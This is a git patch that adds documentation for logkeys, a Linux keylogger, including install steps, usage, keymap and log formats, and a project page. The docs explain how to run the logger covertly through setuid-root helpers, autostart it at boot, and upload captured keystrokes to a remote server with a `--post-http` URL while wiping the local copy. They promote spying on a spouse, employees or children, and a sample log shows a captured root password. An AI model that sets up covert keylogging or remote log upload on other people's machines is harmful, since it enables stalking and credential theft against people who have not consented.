From ea502639730263e46e9aa04ef05245e84c696b69 Mon Sep 17 00:00:00 2001 From: Jeff Zohrab Date: Wed, 10 Feb 2016 12:36:52 -0500 Subject: [PATCH] Updated docs. - converted README to GitHub markup - imported googlecode wiki pages into docs folder - added build directory for out-of-tree builds - updated TODOs --- INSTALL | 26 +++--- README | 198 ------------------------------------------ README.md | 178 +++++++++++++++++++++++++++++++++++++ TODO | 3 + build/.gitignore | 7 ++ docs/Documentation.md | 173 ++++++++++++++++++++++++++++++++++++ docs/Keymaps.md | 155 +++++++++++++++++++++++++++++++++ docs/Logfiles.md | 52 +++++++++++ docs/PostHTTP.md | 23 +++++ docs/ProjectHome.md | 99 +++++++++++++++++++++ docs/docs_warning.png | Bin 0 -> 28091 bytes docs/keyboard.png | Bin 0 -> 24460 bytes man/logkeys.8 | 4 +- 13 files changed, 705 insertions(+), 213 deletions(-) delete mode 100644 README create mode 100644 README.md create mode 100644 build/.gitignore create mode 100644 docs/Documentation.md create mode 100644 docs/Keymaps.md create mode 100644 docs/Logfiles.md create mode 100644 docs/PostHTTP.md create mode 100644 docs/ProjectHome.md create mode 100644 docs/docs_warning.png create mode 100644 docs/keyboard.png diff --git a/INSTALL b/INSTALL index d7bf93d..a1362ff 100644 --- a/INSTALL +++ b/INSTALL @@ -2,21 +2,21 @@ logkeys keylogger - instalation instructions =============================================================================== -Provided your GNU/Linux distribution doesn't include logkeys package in its -repositories, manual installation of logkeys from source is as easy as: +Provided your GNU/Linux distribution doesn't include logkeys package +in its repositories, manual installation of logkeys from source is as +easy as cloning this repo or [downloading a zip of the +source](https://github.com/kernc/logkeys/archive/master.zip), +unzipping, and building: - $ tar xvzf logkeys-0.1.1.tar.gz # to extract the logkeys archive - - $ cd logkeys-0.1.1/build # move to build directory to build there - $ ../configure # invoke configure from parent directory - $ make # make compiles what it needs to compile - ( become superuser now ) # you need root to install in system dir - # make install # installs binaries, manuals and scripts + $ unzip logkeys-master.zip + $ cd logkeys-master/build + $ ../configure + $ make + $ su # get root to install in system + $ make install # installs binaries, manuals and scripts -That's it. +To uninstall logkeys, remove accompanying scripts and manuals: -To ever uninstall logkeys, remove accompanying scripts and manuals, issue - - # make uninstall # in the same logkeys-0.1.1/build dir from before + # make uninstall # in the same src dir See README file for usage instructions, troubleshooting and other notes. diff --git a/README b/README deleted file mode 100644 index 7278859..0000000 --- a/README +++ /dev/null @@ -1,198 +0,0 @@ -=============================================================================== - logkeys - a GNU/Linux keylogger that works! -=============================================================================== - - 0. Licence - 1. Description - 2. Installation - 3. Usage how-to - 4. Troubleshooting - 5. Further information - -=============================================================================== - - -+------------------------------------------------ - 0. Licence -=============================================================================== -logkeys is dual licensed under the terms of either GNU GPLv3 or later, or -WTFPLv2 or later. It is entirely your choice! See COPYING for further -information about licensing. - - -+------------------------------------------------ - 1. Description -=============================================================================== -logkeys is a linux keylogger. It is no more advanced than other available linux -keyloggers, notably lkl and uberkey, but is a bit newer, more up to date, it -doesn't unreliably repeat keys and it shouldn't crash your X. All in all, it -just seems to work. It relies on event interface of the Linux input subsystem. -Once completely set, it logs all common character and function keys, while also -being fully aware of Shift and AltGr key modifiers. - - -+------------------------------------------------ - 2. Installation -=============================================================================== -Provided your GNU/Linux distribution doesn't include logkeys package in its -repositories, manual installation of logkeys from source is as easy as: - - $ tar xvzf logkeys-0.1.1.tar.gz # to extract the logkeys archive - - $ cd logkeys-0.1.1/build # move to build directory to build there - $ ../configure # invoke configure from parent directory - $ make # make compiles what it needs to compile - ( become super↙user now ) # you need root to install in system dir - # make install # installs binaries, manuals and scripts - -That's it. - -To ever uninstall logkeys, remove accompanying scripts and manuals, issue - - # make uninstall # in the same logkeys-0.1.1/build dir from before - -A copy of these instructions is in the accompanying INSTALL file. - - -+------------------------------------------------ - 3. Usage how-to -=============================================================================== - -logkeys is simple. You can either invoke it directly, by typing full command -line, or use the provided scripts. There are two helper programs in this -package: - - bin/llk , which is intended to start the logkeys daemon, and - bin/llkk , which is intended to kill it. - -bin/llk runs etc/logkeys-start.sh, and bin/llkk runs etc/logkeys-kill.sh. - -You can use these two setuid root programs (llk and llkk) for starting and -stopping the keylogger quickly and covertly. You can modify the .sh scripts as -you like. As the two programs are installed with setuid bit set, the root -password need not be provided at their runtime. - -Default log file is /var/log/logkeys.log and is not readable by others. - -I suggest you first test the program manually with - - $ touch test.log - $ logkeys --start --output test.log - -and in the other terminal follow it with - - $ tail --follow test.log - -and see if the pressed keys match to those noted. If you use a US keyboard -layout, use -u switch. Make sure your terminal character locale is set to UTF-8 - - $ locale - LANG=xx_YY.UTF-8 - LC_CTYPE="xx_YY.UTF-8" - ... - -or alternatively, you need en_US.UTF-8 locale available on your system - - $ locale -a - ... - en_US.UTF-8 - ... - -otherwise you may only see odd characters (like ꑶ etc.) when pressing character -keys. - -logkeys acts as a daemon, and you stop the running logger process with - - $ logkeys --kill - -(or bin/llkk provided script). - -For more information about logkeys log file format, logkeys keymap format, and -command line arguments, read the application manual, - - $ man logkeys - -or see the wiki at project website: http://code.google.com/p/logkeys/ - -Abuse the output of this software wisely. - - -+------------------------------------------------ - 4. Troubleshooting -=============================================================================== - -4.1 empty log file or 'Error opening input event device' -------------------------------------------------- -After you run logkeys successfully, if you open the log file and see only the -'Logging started...' and 'Logging stopped...' tag without any keypress -"contents," it is very likely that logkeys got your device id wrong. - -This may also apply if you get the following error: - Error opening input event device '/dev/input/event-1' - -The solution is to determine the correct event device id, and then run -logkeys with --device (-d) switch, specifying that device manually. - -The procedure for manually learning the device id to use is as follows: - -As root, for each existing device eventX in /dev/input/, where X is a number -between 0 and 31 inclusively, write: - - $ cat /dev/input/eventX - -then type some arbitrary characters. If you see any output, that is the device -to be used. If you don't see any output, press Ctrl+C and continue with the -next device. - -If this happened to be your issue, *please* submit a bug report, attaching -your /proc/bus/input/devices file as well as and specifying which was the -correct id. - - -4.2 logkeys outputs wrong characters -------------------------------------------------- -It is very likely that you will see only some characters recognized, without -any hope for Shift and AltGr working even slightly correct, especially when -starting logkeys in X. In that case it is better to switch to virtual -terminal, e.g. tty4 (Ctrl+Alt+F4), and there execute: - - $ logkeys --export-keymap my_lang.keymap - -Then open my_lang.keymap in UTF-8 enabled text editor and manually repair any -missing or incorrectly determined mappings. From then on, execute logkeys by - - $ logkeys --start --keymap my_lang.keymap - -Again, see if it now works correctly (character keys appear correct when you -are viewing the log file in editor), and opt to modify bin/llk starter script. - -If you create full and completely valid keymap for your particular language, -please upload it to website or send it to me by e-mail. Thanks. - - -+------------------------------------------------ - 5. Further information -=============================================================================== - -Read the man page. Please read the whole man page. Thanks. :-) - -Refer to troubleshooting and FAQ sections on the project website, - - http://code.google.com/p/logkeys/ , - -for currently known issues, ways to resolve them, and any other information. - -Report any bugs and request reasonable features on the issues list page - - http://code.google.com/p/logkeys/issues . - -When opening new issues, always provide descriptively keyworded summary and -description. - -You are more than welcome to implement unreasonable features yourself, as well -as hack the program to your liking. - -If you are a pr0, please answer the few questions I commented in the source. -Thanks. - -~ diff --git a/README.md b/README.md new file mode 100644 index 0000000..985c705 --- /dev/null +++ b/README.md @@ -0,0 +1,178 @@ +logkeys - a GNU/Linux keylogger +=============================== + +logkeys is a linux keylogger. It is no more advanced than other available linux +keyloggers, notably lkl and uberkey, but is a bit newer, more up to date, it +doesn't unreliably repeat keys and it shouldn't crash your X. All in all, it +just seems to work. It relies on event interface of the Linux input subsystem. +Once completely set, it logs all common character and function keys, while also +being fully aware of Shift and AltGr key modifiers. + + +Installation +------------ + +Provided your GNU/Linux distribution doesn't include logkeys package +in its repositories, manual installation of logkeys from source is as +easy as cloning this repo or [downloading a zip of the +source](https://github.com/kernc/logkeys/archive/master.zip), +unzipping, and building: + + $ unzip logkeys-master.zip + $ cd logkeys-master/build + $ ../configure + $ make + $ su # get root to install in system + $ make install # installs binaries, manuals and scripts + +To uninstall logkeys, remove accompanying scripts and manuals: + + $ make uninstall # in the same src dir + +A copy of these instructions is in the accompanying INSTALL file. + + +Usage how-to +------------ + +Abuse the output of this software wisely. + +logkeys is simple. You can either invoke it directly, by typing full command +line, or use the provided scripts. There are two helper programs in this +package: + +- bin/llk, which is intended to start the logkeys daemon, and +- bin/llkk, which is intended to kill it. + +bin/llk runs etc/logkeys-start.sh, and bin/llkk runs etc/logkeys-kill.sh. + +You can use these two setuid root programs (llk and llkk) for starting and +stopping the keylogger quickly and covertly. You can modify the .sh scripts as +you like. As the two programs are installed with setuid bit set, the root +password need not be provided at their runtime. + +Default log file is `/var/log/logkeys.log` and is not readable by others. + +I suggest you first test the program manually with + + $ touch test.log + $ logkeys --start --output test.log + +and in the other terminal follow it with + + $ tail --follow test.log + +and see if the pressed keys match to those noted. If you use a US keyboard +layout, use -u switch. Make sure your terminal character locale is set to UTF-8 + + $ locale + LANG=xx_YY.UTF-8 + LC_CTYPE="xx_YY.UTF-8" + ... + +or alternatively, you need en_US.UTF-8 locale available on your system + + $ locale -a + ... + en_US.UTF-8 + ... + +otherwise you may only see odd characters (like ꑶ etc.) when pressing character +keys. + +logkeys acts as a daemon, and you stop the running logger process with +`$ logkeys --kill`, or use the `bin/llkk` script. + +Documentation +------------- + +For more information about logkeys log file format, logkeys keymap +format, and command line arguments, read the application manual, `$ +man logkeys`, or read [the documentation](./docs). + +Troubleshooting +--------------- + +### empty log file or 'Error opening input event device' + +After you run logkeys successfully, if you open the log file and see only the +'Logging started...' and 'Logging stopped...' tag without any keypress +"contents," it is very likely that logkeys got your device id wrong. + +This may also apply if you get the following error: `Error opening +input event device '/dev/input/event-1'` + +The solution is to determine the correct event device id, and then run +logkeys with --device (-d) switch, specifying that device manually. + +The procedure for manually learning the device id to use is as follows: + +As root, for each existing device eventX in /dev/input/, where X is a number +between 0 and 31 inclusively, write: + + $ cat /dev/input/eventX + +then type some arbitrary characters. If you see any output, that is the device +to be used. If you don't see any output, press Ctrl+C and continue with the +next device. + +If this happened to be your issue, *please* submit a bug report, attaching +your `/proc/bus/input/devices` file as well as and specifying which was the +correct id. + + +### logkeys outputs wrong characters + +It is very likely that you will see only some characters recognized, without +any hope for Shift and AltGr working even slightly correct, especially when +starting logkeys in X. In that case it is better to switch to virtual +terminal, e.g. tty4 (Ctrl+Alt+F4), and there execute: + + $ logkeys --export-keymap my_lang.keymap + +Then open my_lang.keymap in UTF-8 enabled text editor and manually repair any +missing or incorrectly determined mappings. From then on, execute logkeys by + + $ logkeys --start --keymap my_lang.keymap + +Again, see if it now works correctly (character keys appear correct when you +are viewing the log file in editor), and opt to modify bin/llk starter script. + +If you create full and completely valid keymap for your particular language, +please attach it to a new issue. + + +Further information +------------------- + +Read the man page. Please read the whole man page. Thanks. :-) + +Refer to troubleshooting and FAQ sections in (the +docs)[./docs/Documentation.md], for currently known issues, ways to +resolve them, and any other information. + +Report any bugs and request reasonable features on the [issues +list](https://github.com/kernc/logkeys/issues). When opening new +issues, always provide a good summary and description. + +Contribute +---------- + +You are more than welcome to implement unreasonable features yourself, as well +as hack the program to your liking. + +If you have suggestions, or are a pr0 and can answer any of the questions in the source, please contribute: + +1. Fork this project +1. Create your feature branch (`git checkout -b my-new-feature`) +1. Commit your changes (`git commit -am 'Add some feature'`) +1. Push to the branch (`git push origin my-new-feature`) +1. Create new Pull Request + + +License +------- + +logkeys is dual licensed under the terms of either GNU GPLv3 or later, or +WTFPLv2 or later. It is entirely your choice! See COPYING for further +information about licensing. diff --git a/TODO b/TODO index 241d1cb..1b8e73a 100644 --- a/TODO +++ b/TODO @@ -1,3 +1,6 @@ +-> Add automated testing scripts to verify behaviour and operation + +-> Clean up imported docs in "./docs", remove redundant docs -> Add support for sending logs via mail diff --git a/build/.gitignore b/build/.gitignore new file mode 100644 index 0000000..1a5433b --- /dev/null +++ b/build/.gitignore @@ -0,0 +1,7 @@ +# Ignore everything in this directory, +# but this directory should be available on checkout. + +* + +# Don't ignore this file +!.gitignore \ No newline at end of file diff --git a/docs/Documentation.md b/docs/Documentation.md new file mode 100644 index 0000000..797f20d --- /dev/null +++ b/docs/Documentation.md @@ -0,0 +1,173 @@ +![warning](./docs_warning.png) + +# License # +logkeys is dual licensed under the terms of either [GNU GPLv3](http://www.gnu.org/licenses/gpl-3.0.html) or later (required by Google), or [WTFPLv2](http://sam.zoy.org/wtfpl/) or later. Pick whichever you prefer! + +# Installation # + +If you have ever installed a Linux program from source, then you should have no trouble installing logkeys. + +If you haven't installed from source yet, it is likely you are missing a C++ compiler installed. +Before proceeding please ensure you have **g++** and "similarly trivial tools" ready. +``` +$ sudo apt-get install g++ # to install g++ on a Debian-based OS +``` +Proceed with +``` +$ tar xvzf logkeys-0.1.1a.tar.gz # to extract the logkeys archive + +$ cd logkeys-0.1.1a/build # move to build directory to build there +$ ../configure # invoke configure from parent directory +$ make # make compiles what it needs to compile +( become superuser now ) # you need root to install in system dir +$ make install # installs binaries, manuals and scripts +``` +If you run on any errors during configure stage, your machine must be in a very poor shape. Before installing please confirm that you have a 2.6 branch of Linux kernel, and standard command line utilities such as **ps**, **grep**, and especially **dumpkeys**. + +logkeys relies on **dumpkeys** to output at least half correct keysym bindings. For this to be true, you have to set your console keymap. If you have keyboard correctly set to your language in X, **verify that the same characters appear on a virtual terminal** (Ctrl+Alt+Fn) **also**. + +[How to set console keymap?](http://www.google.com/search?q=how+to+set+console+keymap) + +logkeys also relies on en\_US.UTF-8 locale being present on the system, or any other language using UTF-8. You can confirm you are using UTF-8 locale, if you say +```bash + +$ locale -a +C +... +en_US.utf8 +... +$ locale +LANG=en_US.UTF-8 +LC_CTYPE="en_US.UTF-8" +... +``` +If `locale -a` does not return among others the result en\_US.UTF-8 and if LC\_CTYPE environmental variable doesn't contain UTF-8, then logkeys may not work correctly. + +If that is the case use either `locale-gen` or install/reconfigure your distribution's locales package, and there include en\_US.UTF-8. +``` +$ apropos locale +``` + +# Usage how-to # + +logkeys is simple. You can either invoke it directly, by typing full command line, or use the provided scripts. There are two helper programs in this package: + + * bin/llk , which is intended to start the logkeys daemon, and + * bin/llkk , which is intended to kill it. + +bin/llk runs **_etc/logkeys-start.sh_**, and bin/llkk runs **_etc/logkeys-kill.sh_**. + +You can use these two **setuid root** programs (**llk** and **llkk**) for starting and stopping the keylogger quickly and covertly. You can modify the two .sh scripts as you like. As the programs are installed with setuid bit set, the root password need not be provided at their runtime. + +Default log file is /var/log/logkeys.log and is not readable by others. + +I suggest you first test the program manually with +``` + $ touch test.log + $ logkeys --start --output test.log +``` +and in the other terminal follow it with +``` + $ tail --follow test.log +``` +and see if the pressed keys match to those noted. If you use a US keyboard layout, use -u switch. Make sure your terminal character locale is set to UTF-8 +``` + $ locale + LANG=xx_YY.UTF-8 + LC_CTYPE="xx_YY.UTF-8" + ... +``` +or alternatively, you need en\_US.UTF-8 locale available on your system +``` + $ locale -a + ... + en_US.UTF-8 + ... +``` +otherwise you may only see odd characters (like ꑶ etc.) when pressing character keys. + +logkeys acts as a daemon, and you stop the running logger process with +``` + $ logkeys --kill +``` +(or bin/llkk provided script). + +Before using logkeys, please read the manual page first. +``` + $ man logkeys +``` + +## Autorun at system start ## +If you want logkeys to autorun when your OS boots, you have several options. +You can edit _/etc/rc.local_ (or _/etc/rc.d/rc.local_) file and add logkeys execution line before the final `exit 0` call, e.g. +``` +#!/bin/sh -e +# +# rc.local +# +logkeys --start --keymap=/home/I/custom_key.map --output=/home/I/custom.log --device=event4 +exit 0 +``` +Alternatively, you can put your custom "logkeys execution line" into _etc/logkeys-start.sh_ file, and then use your desktop's "autorun manager" to run _llk_ program, which will then execute said _logkeys-start.sh_ script without prompting you for root/sudo password. + +logkeys will automatically terminate on shutdown. + +# Troubleshooting # + +## Empty log file or 'Couldn't determine keyboard device' error ## +After you run logkeys successfully, if you open the log file and see only the 'Logging started...' and 'Logging stopped...' tag without any keypress "contents," it is very likely that logkeys got your device id wrong. + +This may also apply if you get the following error: +``` + logkeys: Couldn't determine keyboard device. :/ +``` + +The solution is to determine the correct event device id, and then run logkeys with --device (-d) switch, specifying that device manually. + +The procedure for manually learning the device id to use is as follows: + +As root, for each existing device eventX in /dev/input/, where X is a number between 0 and 31 inclusively, write `$ cat /dev/input/eventX`, and then type some arbitrary characters. If you see any output, that is the device to be used. If you don't see any output, press Ctrl+C and continue with the next device. + +If this happened to be your issue, please checkout the latest version from the repository where keyboard recognition is relatively better implemented. If error persists, please [add an issue](https://github.com/kernc/logkeys/issues), attaching your /proc/bus/input/devices file as well as specifying the correct event id. + + +## Logkeys outputs wrong characters ## + +It is very likely that you will see only some characters recognized, without any hope for Shift and AltGr working even slightly correct, especially when starting logkeys in X. In that case it is better to switch to virtual terminal, e.g. tty4 (Ctrl+Alt+F4), and there execute: + +``` + $ logkeys --export-keymap=my_lang.map +``` + +Then open _my\_lang.map_ in UTF-8 enabled text editor and manually repair any missing or incorrectly determined mappings. Character keys are defined with two to three space-delimited characters per line (first without modifiers, second with shift, third with AltGr), and function keys are strings of **at most** 7 characters. + +Make sure your customized keymap follows the [logkeys keymap format specification](Keymaps.md#format). + +From then on, execute logkeys with **--keymap** switch, e.g. + +``` + $ logkeys --start --keymap my_lang.map +``` + +Again, see if it now works correctly (and character keys appear correct when you are viewing the log file in editor), and opt to modify _bin/llk_ starter script. + +If you create full and completely valid keymap for your particular +language, please [upload it as a new +issue](https://github.com/kernc/logkeys/issues). + +Some languages may already have keymaps available; check the [keymaps directory](../keymaps/). + +# Known bugs and limitations # + +Please report all found bugs on the [issues tracking page](https://github.com/kernc/logkeys/issues). + +# Planned features (roadmap) # + +TODO file provided with release currently holds following requests: + +* Add support for sending logs via email. +* Optionally log title of the focused window. +* Capture clipboard contents. +* Add support for mouse events (i.e. on mouse click the focus may have changed). + +If you have time on your hands and the required interest, you are welcome to hack at any of those or completely other features yourself, and submit a PR. diff --git a/docs/Keymaps.md b/docs/Keymaps.md new file mode 100644 index 0000000..f1b9865 --- /dev/null +++ b/docs/Keymaps.md @@ -0,0 +1,155 @@ +![warning](./docs_warning.png) + +# Keymaps + +If neither **--us-keymap** switch nor **--keymap** switch are used, then logkeys determines the keymap automatically with the help of **dumpkeys** command. For it to work even slightly reliably (mapping correct character), [console kernel keymap needs to be set](Documentation#Installation.md). + +If you are using US layout keyboard and need default US keymap, run logkeys with **--us-keymap** switch. + +## Existing keymaps + +Some keymaps have been committed in this repo. See the [keymaps directory](../keymaps). + +Be aware that using the keymap that matches your keyboard layout doesn't necessarily mean that all keys are covered or that the characters match to those that you type in – the keymap used by your system (loaded by **loadkeys** command for console, and **setxkbmap** command for X) may be set completely arbitrarily. In most cases, though, these should work fine. + +## Creating keymaps + +You can easily create keymaps for your layout by taking one example and then modifying it with the help of a keyboard layout tool (e.g., see the following [example layout tool from Microsoft](http://msdn.microsoft.com/en-us/goglobal/bb964651.aspx)). If you create a keymap, please upload it as a [new issue](https://github.com/kernc/logkeys/issues). + +## Format + +The keymap file is expected to be UTF-8 encoded. + +Each line of file represents either one character key or one function +key. The format specifies at least two and up to three +space-delimited characters on character key lines (first character +without modifiers, second with Shift in action, optional third with +AltGr in action), and up to 7 characters long string on function key +lines. + +For example, Slovene or Croatian keymap would look like this (line +numbers are added for convenience only): + +``` + 1: + 2: 1 ! ~ + 3: 2 " ˇ + 4: 3 # ^ + 5: 4 $ ˘ + 6: 5 % ° + 7: 6 & ˛ + 8: 7 / ` + 9: 8 ( ˙ + 10: 9 ) ´ + 11: 0 = ˝ + 12: ' ? ¨ + 13: + * ¸ + 14: + 15: + 16: q Q \ + 17: w W | + 18: e E € + 19: r R + 20: t T + 21: z Z + 22: u U + 23: i I + 24: o O + 25: p P + 26: š Š ÷ + 27: đ Đ × + 28: + 29: + 30: a A + 31: s S + 32: d D + 33: f F [ + 34: g G ] + 35: h H + 36: j J + 37: k K ł + 38: l L Ł + 39: č Č + 40: ć Ć ß + 41: ¸ ¨ + 42: + 43: ž Ž ¤ + 44: y Y + 45: x X + 46: c C + 47: v V @ + 48: b B { + 49: n N } + 50: m M § + 51: , ; < + 52: . : > + 53: - _ + 54: + 55: + 56: + 57: + 58: + 59: + 60: + 61: + 62: + 63: + 64: + 65: + 66: + 67: + 68: + 69: + 70: + 71: + 72: + 73: + 74: + 75: + 76: + 77: + 78: + 79: + 80: + 81: + 82: + 83: + 84: < > + 85: + 86: + 87: + 88: + 89: + 90: + 91: + 92: + 93: + 94: + 95: + 96: + 97: + 98: + 99: +100: +101: +102: +103: +104: +105: +106: +``` + +How does one know which lines belong to character keys and which lines to function keys? + +Well, the easiest way is to use **--export-keymap**, and examine the exported keymap. +Make sure you export in a virtual terminal (Ctrl+Alt+Fn) and not in X as this way there is higher chance of more keys getting exported correctly (don't ask me why). + +Basically, **--export-keymap** ouputs 106 lines for 106 keys, even if some of those keys +aren't located on your keyboard. Lines 1, 14, 15, 28, 29, 42, 54-83, 85-106 belong +to function keys, all other lines (2-13, 16-27, 30-41, 43-53, 84) belong to character keys. + +**Line 57 is reserved for Space** and it should always be ' '. Line 84 is reserved for +the key just right to left Shift that is present on some international layouts. +Other lines can be quite reliably determined by looking at one exported keymap. The +keys generally follow the order of their appearance on keyboard, top-to-bottom left- +to-right. diff --git a/docs/Logfiles.md b/docs/Logfiles.md new file mode 100644 index 0000000..5304f8e --- /dev/null +++ b/docs/Logfiles.md @@ -0,0 +1,52 @@ +![warning](./docs_warning.png) + +When no **--ouput** option is given, logkeys logs to default log file `/var/log/logkeys.log`. + +# Format # + +Log files are UTF-8 encoded. + +Each logging session is enclosed in "`Logging started...`" and "`Logging stopped at` +``" strings. Whenever Enter key (Return key) or Ctrl+C or Ctrl+D combination is pressed, a timestamp is appended on a new line (provided **--no-timestamps** is not in effect). + +Timestamp format is "%F %T%z", which results in "YYYY-mm-dd HH:MM:SS+ZZZZ". Time‐ +stamp is separated from the logged keys by one '>' symbol. + +All character key presses are logged as they appear. All function key presses are +replaced with strings as obtained from [keymap file](Keymaps.md), or as hardcoded when no keymap file is provided. + +If a key is pressed down long enough so it repeats, it is logged only once and then +"`<#+DD>`" is appended, which hints the key was repeated DD more times. DD is a decimal figure, which is not to be taken absolutely correct. + +If a keypress results in keycode, which is not recognized (i.e. key not found on a standard US or Intl 105-key keyboard), then the string "``" is appended, where +XX is the received keycode in hexadecimal format. All new "WWW", "E-Mail", "Vol‐ +ume+", "Media", "Help", etc. keys will result in this error string. + +Using US keyboard layout, one example log file could look like: +``` +Logging started ... + +2009-12-11 09:58:17+0100 > lkl +2009-12-11 09:58:20+0100 > sudo cp ~/foo. /usr/bin +2009-12-11 09:58:26+0100 > R00T_p455\\/0rD +2009-12-11 09:58:39+0100 > sudo +2009-12-11 09:58:44+0100 > c<#+53><#+34>c +2009-12-11 09:58:54+0100 > lklk + +Logging stopped at 2009-12-11 09:58:54+0100 +``` +If the same log was obtained by a logkeys process invoked with **--no-func-keys** option, it would look like: +``` +Logging started ... + +2009-12-11 09:58:17+0100 > lkl +2009-12-11 09:58:20+0100 > sudo cp ~/foo. /usr/bin +2009-12-11 09:58:26+0100 > R00T_p455\\/0rD +2009-12-11 09:58:39+0100 > sudo +2009-12-11 09:58:44+0100 > c<#+53>c +2009-12-11 09:58:54+0100 > lklk + +Logging stopped at 2009-12-11 09:58:54+0100 +``` +Even when **--no-func-keys** is in effect, Space and Tab key presses are logged as a +single space character. diff --git a/docs/PostHTTP.md b/docs/PostHTTP.md new file mode 100644 index 0000000..3d3b1b9 --- /dev/null +++ b/docs/PostHTTP.md @@ -0,0 +1,23 @@ +![warning](./docs_warning.png) + +# Post to HTTP # +A sample implementation: + +1. Get some [PHP web hosting](http://www.google.com/search?q=free+web+hosting), and get a [domain name](http://www.getfreedomain.name/). + +2. Upload the following PHP script, name it "upload.php" +``` + +``` + +3. Run logkeys with `--post-http=http://your.doma.in/upload.php` and it will upload log to specified URL every once it reaches `--post-size` in size (default 500KB). Note, the script above will overwrite "new.log" file every time. Also note that once the log is successfully sent, it is wiped from the monitored computer. diff --git a/docs/ProjectHome.md b/docs/ProjectHome.md new file mode 100644 index 0000000..7f75f48 --- /dev/null +++ b/docs/ProjectHome.md @@ -0,0 +1,99 @@ +![warning](./docs_warning.png) + +# logkeys Linux keylogger # + +## Important announcement for Arch Linux users ## + +logkeys was having an [issue on Arch Linux where it produced an empty +log](https://github.com/kernc/logkeys/issues/60). The issue +is now fixed in the repository (fix found by **bytbox** from the Arch +Linux community), so if you're on Arch (or you seem to experience this +issue), please check out the source from GitHub. + +## NEWS: logkeys version 0.1.1a (alpha) released ## + * fixed 100% CPU issue on x64 + * various bug fixes + * removed pgrep dependency + * PID file now in /var/run/ + * other symlink attack vulnerability fixes + * other security fixes + * code refactoring + * remote log uploading via HTTP + * lkl and lklk are now llk and llkk to avoid confusion + * llk and llkk are now programs that run logkeys-start.sh/-stop.sh scripts + * also recognize "HID" USB keyboard devices + * bug fixes + +--- + +### What is logkeys? + +**logkeys is a linux keylogger** (GNU/Linux systems only). It is no +more advanced than other available linux keyloggers, but is a bit more +up to date, it doesn't unreliably repeat keys and it should never +crash your X. All in all, it just seems to work. It relies on event +interface of the Linux input subsystem. Once set, it logs all common +character and function keys, while also being fully aware of Shift and +AltGr key modifiers. **It works with serial as well as USB +keyboards**. + +### What is a keylogger? + +Keylogger is a software that quietly monitors keyboard input so as to +log any keypresses the user makes. Keyloggers can be used by malicious +attackers to sniff out passwords and other sensitive textual +information, but often times the user himself (or the corporate +branch) wants to monitor his computer unattended (or the employees), +reliably storing any unauthorized keyboard activity for later +inspection. For example, when you leave your PC just to grab a quick +bite from the vending machine, you might want to know if anybody was +touching it while you were gone. Or you could use it to monitor your +supposedly cheating wife, or young kids while they are surfing the +web. You could also use it to obtain statistics of your most pressed +keys in order to create your custom Dvorak-style keyboard (I've seen +that done). Perhaps you want EVERYTHING you've typed or written in the +past months archived for ANY purpose... Uses are limitless. + +### Are there alternative Linux keyloggers? + +There is a plethora of keyloggers for Windows, but not so many for Linux. + +On GNU/Linux systems and other reasonable operating systems, +keyloggers can be easily implemented with a few lines of shell +code. Novice users, however, are usually limited to a narrow set of +the following tools: + +- [lkl](http://sourceforge.net/projects/lkl/) +- [uberkey](http://gnu.ethz.ch/linuks.mine.nu/uberkey/) +- [THC-vlogger](http://freeworld.thc.org/releases.php?q=vlogger), made +by a renowned group of hackers +- [PyKeylogger](http://pykeylogger.sourceforge.net/). + +All these tools have their pros and cons: + +- Lkl sometimes abnormally repeats keys and [its keymap configuration is rather +awkward](http://www.google.com/search?q=lkl+keymap) for a range of +users. +- Uberkey, which is just over a hundred lines of code, also often +repeats keys and [sometimes makes your mouse move +abruptly](http://www.google.com/search?q=uberkey+mouse+problem), +losing any sense of control. +- PyKeylogger is very feature rich, but only works in an X +environment. +- vlogger only logs shell sessions and currently the code does not +build (on Ubuntu 14.04 at least). + +There may be other tools, but logkeys definitely makes a +simple and competitive addition. + +### What keyboards logkeys does work with? + +logkeys supports keyboards like on the image below (courtesy of +SEOConsultants.com). These are standard 101 to 105-key PC keyboards +with no Asian extensions. + +![104-key PC keyboard'](./keyboard.png) + +logkeys should also work with serial as well as USB +keyboards, or similar "HID" devices. + diff --git a/docs/docs_warning.png b/docs/docs_warning.png new file mode 100644 index 0000000000000000000000000000000000000000..bb3b4124ac5135ff63239d816b228350e131fb82 GIT binary patch literal 28091 zcma&MQ;=Xy)`r_OPKG0)RMIDC>T5aqoN7XwnoL9M6v z3HBZK6V4Nz4Iyq_^QH`R<*<~B>g*Y!0u zd)N`+6Ib!q-!jjHJsy#pbKwNCy*9|$-srE;@{@~}&5}qxU>~pMEufnZShou-zkaOEG% z61<(ZPegTftB|%qw?RDT>`I`dKP;T-J+aX0=AMWz(nbl{R-8?LHx#1!-Ke}at{R@k zmyRl$@9OXNNqCp1>t@)i90zSpG-#wx0usg=^^{B<`hofJHdb|(f=tbGurlVO+)Juj z+EkbEuUBWN%R_xJq;u-Tj*?qspsvT| zZp~jhfugyu@^*629)n_SXfG-lG#B)Wo(c&O%AimiER{)c7Ru!?Bn@_nuy7GGj0Ob{ zOz6`S$j<+^+Hz-)Js1g!sz>dj&X+IZ9I3JE8LLy{Ra^u3#5HKRq{B2tEUaZ+&AbGc z?BnQz1%Y(1=0K)c@FshD=#+IEke~8|Sv>supwHa>ie_gGqqyDs30OZv3 zh)BsBzjf({a3jR#)&f`{hPklaRi9l~Sg$K6I)C$@B_!$N9p#yvZ`+$K|IYs|vnkar zMP1zCvBRg@X`JVZT8`t1Cy=fbQ-YSYC@EII7Dy@Yt4g8stpLUV#_u#j%@q`m`2V}c_F z%?4c=RvHSba6(bv$W1I(U>O}=eIzV#(aJhXiE!h{i69jVzloF`9NA|CY{}_-)p;eU zEe3k}PDG^R;MldMk|G{u+|TB)R}p@MbjqBa()Iz}fz21Ma9L&2ae_^D>a;M67f zL76jt;8p)+?`DNbiTLXm-!E|?ekC`6OKmVUCD9ch{tQ0?idD{4D3;&I$jlLS!b2hk zRN>n4;RZzVf(Ctq0^Mf$20)l-fxnp}@(lnwkcz@e{Q@FD3Lzuwf6_f$8elXNcwKW$ zUsBT99gnja9gDZvL5toh2H~^({-<7EP=EnnXi`8z!2g%900SIQfcg3Uqg~t(zdu<& z`XB_ggn0iInJGUg@PGBK4~}MjAgYxRnFy8`4`NuPN3yKEH=75Gp+Ya`LCcjSjK{eL z+MGM;Z*2({b!Dy2(#z?q7*HyB7dBJjS3GTf%YWsXv-|S^9AVFLOHs{J=Jza!HCM5> zaj{dZ6)q~|KwrMWJTek<{4-;ZR8RW1j6W~{RpaQv=C2-J@cGPgx9p8bx-Se1yB{~c z+IF0PKq1&d`kJg+t4la493KQAYP@f#Zd#4OJJaH6r+C9py?B!^$a!U=2R-8Kk?{3& 